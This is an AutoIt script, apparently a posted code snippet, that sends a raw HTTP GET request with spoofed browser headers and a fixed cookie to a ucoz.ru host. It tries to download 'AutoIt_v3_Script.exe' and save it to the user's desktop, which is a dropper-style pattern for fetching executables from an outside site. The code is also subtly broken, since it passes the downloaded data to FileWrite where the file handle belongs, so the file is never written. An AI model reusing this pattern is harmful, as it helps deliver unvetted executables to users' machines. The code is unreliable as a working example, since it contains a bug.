$sHead = _HTTPGet("urfmail.ucoz.ru", "/AutoIt_v3_Script.exe")
$hFile = FileOpen(@DesktopDir & '\AutoIt v3 Script.exe', 2+16)
FileWrite($sHead, StringRegExpReplace($sHead, '(?s)^.*?\r?\n(0x)', '\1'))
FileClose($hFile)
Func _HTTPGet($sHost, $sPage)
TCPStartup()
Local $sName_To_IP = TCPNameToIP($sHost)
Local $iSocket = TCPConnect($sName_To_IP, 80)
If $iSocket = -1 Then
TCPShutdown()
Return SetError(1, 0, "")
EndIf
Local $sCommand = "GET " & $sPage & " HTTP/1.1" & @CRLF
$sCommand &= "Host: " & $sHost & @CRLF
$sCommand &= "User-Agent: AutoIt/" & @AutoItVersion & " (Windows; U; Windows NT 5.1; en-US; rv:1.8.1)" & @CRLF
$sCommand &= "Referer: " & $sHost & @CRLF
$sCommand &= "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1" & @CRLF
$sCommand &= "Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1" & @CRLF
$sCommand &= "Accept-Encoding: gzip, deflate, identity, *;q=0" & @CRLF
$sCommand &= "Cookies: ucvid=OBSpT2tDTQ" & @CRLF
$sCommand &= "Cookies2: $Version=1" & @CRLF
$sCommand &= "Connection: Keep-Alive, TE" & @CRLF
$sCommand &= "TE: deflate, gzip, chunked, identity, trailers" & @CRLF & @CRLF
Local $BytesSent = TCPSend($iSocket, $sCommand)
If $BytesSent = 0 Then
TCPShutdown()
Return SetError(2, @error, 0)
EndIf
Local $sRecv = "", $sCurrentRecv
While 1
$sCurrentRecv = TCPRecv($iSocket, 1024)
If @error <> 0 Then ExitLoop
If $sCurrentRecv <> "" Then
$sRecv &= $sCurrentRecv
EndIf
WEnd
TCPCloseSocket($iSocket)
TCPShutdown()
Return $sRecv
EndFunc